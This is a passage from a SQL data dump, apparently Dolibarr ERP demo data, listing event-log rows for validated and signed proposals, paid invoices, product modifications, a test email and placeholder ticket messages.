10:22:55',2,NULL,NULL,7,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0010 validated\nAuthor: demo',12,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(300,'300',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0011 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0011 validated\nAuthor: aeinstein',13,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(301,'301',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0012 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,3,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0012 validated\nAuthor: demo',14,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(302,'302',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0013 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,26,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0013 validated\nAuthor: demo',15,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(303,'303',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0014 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0014 validated\nAuthor: demo',16,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(304,'304',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0015 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0015 validated\nAuthor: aeinstein',17,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(305,'305',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0016 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,26,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0016 validated\nAuthor: demo',18,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(306,'306',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0017 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',2,NULL,NULL,12,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0017 validated\nAuthor: demo',19,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(307,'307',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0018 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0018 validated\nAuthor: aeinstein',20,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(308,'308',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0019 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,1,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0019 validated\nAuthor: aeinstein',21,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(309,'309',NULL,1,'2017-02-16 01:46:15','2017-02-16 01:46:15',40,'AC_OTH_AUTO','Proposal PR1702-0020 validated','2017-02-16 01:46:15','2021-04-15 10:22:55',1,NULL,NULL,26,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0020 validated\nAuthor: aeinstein',22,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(310,'310',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0021 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',2,NULL,NULL,12,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0021 validated\nAuthor: demo',23,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(311,'311',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0022 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',2,NULL,NULL,7,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0022 validated\nAuthor: demo',24,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(312,'312',NULL,1,'2017-02-16 01:46:17','2017-02-16 01:46:17',40,'AC_OTH_AUTO','Proposal PR1702-0023 validated','2017-02-16 01:46:17','2021-04-15 10:22:55',1,NULL,NULL,3,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0023 validated\nAuthor: aeinstein',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(313,'313',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0024 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0024 validated\nAuthor: demo',26,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(314,'314',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0025 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',1,NULL,NULL,6,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0025 validated\nAuthor: aeinstein',27,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(315,'315',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0026 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,19,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0026 validated\nAuthor: demo',28,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(316,'316',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0027 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0027 validated\nAuthor: demo',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(317,'317',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0028 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,1,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0028 validated\nAuthor: demo',30,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(318,'318',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0029 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',1,NULL,NULL,11,NULL,0,1,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0029 validated\nAuthor: aeinstein',31,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(319,'319',NULL,1,'2017-02-16 01:46:18','2017-02-16 01:46:18',40,'AC_OTH_AUTO','Proposal PR1702-0030 validated','2017-02-16 01:46:18','2021-04-15 10:22:55',2,NULL,NULL,19,NULL,0,2,0,NULL,0,0,-1,'',NULL,NULL,'Proposal PR1702-0030 validated\nAuthor: demo',32,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(320,'320',NULL,1,'2017-02-16 04:46:31','2017-02-16 04:46:31',40,'AC_OTH_AUTO','Proposition PR1702-0026 signée','2017-02-16 04:46:31','2021-04-15 10:22:55',12,NULL,NULL,19,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0026 signée\nAuteur: admin',28,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(321,'321',NULL,1,'2017-02-16 04:46:37','2017-02-16 04:46:37',40,'AC_OTH_AUTO','Proposition PR1702-0027 signée','2017-02-16 04:46:37','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0027 signée\nAuteur: admin',29,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(322,'322',NULL,1,'2017-02-16 04:46:42','2017-02-16 04:46:42',40,'AC_OTH_AUTO','Proposition PR1702-0028 refusée','2017-02-16 04:46:42','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0028 refusée\nAuteur: admin',30,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(323,'323',NULL,1,'2017-02-16 04:47:09','2017-02-16 04:47:09',40,'AC_OTH_AUTO','Proposition PR1702-0019 validée','2017-02-16 04:47:09','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0019 validée\nAuteur: admin',21,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(324,'324',NULL,1,'2017-02-16 04:47:25','2017-02-16 04:47:25',40,'AC_OTH_AUTO','Proposition PR1702-0023 signée','2017-02-16 04:47:25','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0023 signée\nAuteur: admin',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(325,'325',NULL,1,'2017-02-16 04:47:29','2017-02-16 04:47:29',40,'AC_OTH_AUTO','Proposition PR1702-0023 classée payée','2017-02-16 04:47:29','2021-04-15 10:22:55',12,NULL,NULL,3,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0023 classée payée\nAuteur: admin',25,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(326,'326',NULL,1,'2017-02-17 16:07:18','2017-02-17 16:07:18',40,'AC_OTH_AUTO','Proposition PR1702-0021 validée','2017-02-17 16:07:18','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Proposition PR1702-0021 validée\nAuteur: admin',23,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(327,'327',NULL,1,'2017-05-12 13:53:44','2017-05-12 13:53:44',40,'AC_OTH_AUTO','Email sent by MyBigCompany To Einstein','2017-05-12 13:53:44','2021-04-15 10:22:55',12,NULL,NULL,11,12,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Sender: MyBigCompany <myemail@mybigcompany.com>
\nReceiver(s): Einstein <genius@example.com>
\nBcc: Einstein <genius@example.com>
\nEMail topic: Test
\nEmail body:
\nTest\nAuthor: admin',11,'societe',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(328,'328',NULL,1,'2017-08-29 22:39:09','2017-08-29 22:39:09',40,'AC_OTH_AUTO','Invoice FA1601-0024 validated','2017-08-29 22:39:09','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Invoice FA1601-0024 validated\nAuthor: admin',149,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(329,'329',NULL,1,'2019-09-26 13:38:11','2019-09-26 13:38:11',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-09-26 13:38:11','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(330,'330',NULL,1,'2019-09-26 13:49:21','2019-09-26 13:49:21',40,'AC_MEMBER_MODIFY','Member Pierre Curie modified','2019-09-26 13:49:21','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nMember Pierre Curie modified\nMember: Pierre Curie\nType: Standard members',2,'member',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(331,'331',NULL,1,'2019-09-26 17:33:37','2019-09-26 17:33:37',40,'AC_BILL_VALIDATE','Invoice FA1909-0025 validated','2019-09-26 17:33:37','2021-04-15 10:22:55',12,NULL,NULL,12,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA1909-0025 validated',218,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(333,'333',NULL,1,'2019-09-27 16:54:30','2019-09-27 16:54:30',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0031 validated','2019-09-27 16:54:30','2021-04-15 10:22:55',12,NULL,4,7,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0031 validated',10,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(335,'335',NULL,1,'2019-09-27 17:08:59','2019-09-27 17:08:59',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0032 validated','2019-09-27 17:08:59','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0032 validated',33,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(337,'337',NULL,1,'2019-09-27 17:13:13','2019-09-27 17:13:13',40,'AC_PROPAL_VALIDATE','Proposal PR1909-0033 validated','2019-09-27 17:13:13','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProposal PR1909-0033 validated',34,'propal',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(338,'338',NULL,1,'2019-09-27 17:53:31','2019-09-27 17:53:31',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 17:53:31','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(339,'339',NULL,1,'2019-09-27 18:15:00','2019-09-27 18:15:00',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 18:15:00','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(340,'340',NULL,1,'2019-09-27 18:40:32','2019-09-27 18:40:32',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 18:40:32','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(341,'341',NULL,1,'2019-09-27 19:16:07','2019-09-27 19:16:07',40,'AC_PRODUCT_CREATE','Product ppp created','2019-09-27 19:16:07','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp created',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(342,'342',NULL,1,'2019-09-27 19:18:01','2019-09-27 19:18:01',40,'AC_PRODUCT_MODIFY','Product ppp modified','2019-09-27 19:18:01','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ppp modified',14,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(343,'343',NULL,1,'2019-09-27 19:31:45','2019-09-27 19:31:45',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:31:45','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(344,'344',NULL,1,'2019-09-27 19:32:12','2019-09-27 19:32:12',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:32:12','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(345,'345',NULL,1,'2019-09-27 19:38:30','2019-09-27 19:38:30',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:38:30','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(346,'346',NULL,1,'2019-09-27 19:38:37','2019-09-27 19:38:37',40,'AC_PRODUCT_MODIFY','Product ROLLUPABC modified','2019-09-27 19:38:37','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProduct ROLLUPABC modified',11,'product',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(347,'347',NULL,1,'2019-09-30 15:49:52',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #15ff11cay39skiaa] New message','2019-09-30 15:49:52','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'dfsdfds',2,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(348,'348',NULL,1,'2019-10-01 13:48:36','2019-10-01 13:48:36',40,'AC_PROJECT_MODIFY','Project PJ1607-0001 modified','2019-10-01 13:48:36','2021-04-15 10:22:55',12,NULL,6,10,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nProject PJ1607-0001 modified\nTask: PJ1607-0001',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(349,'349',NULL,1,'2019-10-04 10:10:25','2019-10-04 10:10:25',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1601-0002 validated','2019-10-04 10:10:25','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 validated',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(350,'350',NULL,1,'2019-10-04 10:10:47','2019-10-04 10:10:47',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI1601-0002 changed to paid','2019-10-04 10:10:47','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 changed to paid',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(351,'351',NULL,1,'2019-10-04 10:26:49','2019-10-04 10:26:49',40,'AC_BILL_UNVALIDATE','Invoice FA6801-0010 go back to draft status','2019-10-04 10:26:49','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 go back to draft status',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(352,'352',NULL,1,'2019-10-04 10:27:00','2019-10-04 10:27:00',40,'AC_BILL_VALIDATE','Invoice FA6801-0010 validated','2019-10-04 10:27:00','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 validated',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(353,'353',NULL,1,'2019-10-04 10:28:14','2019-10-04 10:28:14',40,'AC_BILL_PAYED','Invoice FA6801-0010 changed to paid','2019-10-04 10:28:14','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice FA6801-0010 changed to paid',150,'invoice',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(354,'354',NULL,1,'2019-10-04 10:29:22','2019-10-04 10:29:22',40,'AC_BILL_SUPPLIER_PAYED','Invoice SI1601-0002 changed to paid','2019-10-04 10:29:22','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 changed to paid',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(355,'355',NULL,1,'2019-10-04 10:29:41','2019-10-04 10:29:41',40,'AC_BILL_SUPPLIER_UNVALIDATE','Invoice SI1601-0002 go back to draft status','2019-10-04 10:29:41','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 go back to draft status',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(356,'356',NULL,1,'2019-10-04 10:31:30','2019-10-04 10:31:30',40,'AC_BILL_SUPPLIER_VALIDATE','Invoice SI1601-0002 validated','2019-10-04 10:31:30','2021-04-15 10:22:55',12,NULL,NULL,1,NULL,0,12,0,NULL,0,0,-1,'',NULL,NULL,'Author: admin\nInvoice SI1601-0002 validated',17,'invoice_supplier',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(357,'357',NULL,1,'2019-10-04 16:56:21',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 16:56:21','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(358,'358',NULL,1,'2019-10-04 17:08:04',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:08:04','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'ddddd',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(359,'359',NULL,1,'2019-10-04 17:25:05',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:25:05','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(360,'360',NULL,1,'2019-10-04 17:26:14',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:26:14','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'aaa',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(361,'361',NULL,1,'2019-10-04 17:30:10',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:30:10','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(362,'362',NULL,1,'2019-10-04 17:51:43',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:51:43','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(363,'363',NULL,1,'2019-10-04 17:52:02',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 17:52:02','2021-04-15 10:22:55',12,NULL,NULL,NULL,NULL,0,12,0,NULL,0,0,100,'',NULL,NULL,'fdsfs',5,'ticket',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,'default',NULL,NULL,0,0),(364,'364',NULL,1,'2019-10-04 17:52:17',NULL,50,'TICKET_MSG','[MyBigCompany - ticket #9d85cko5qmmo7qxs] New message','2019-10-04 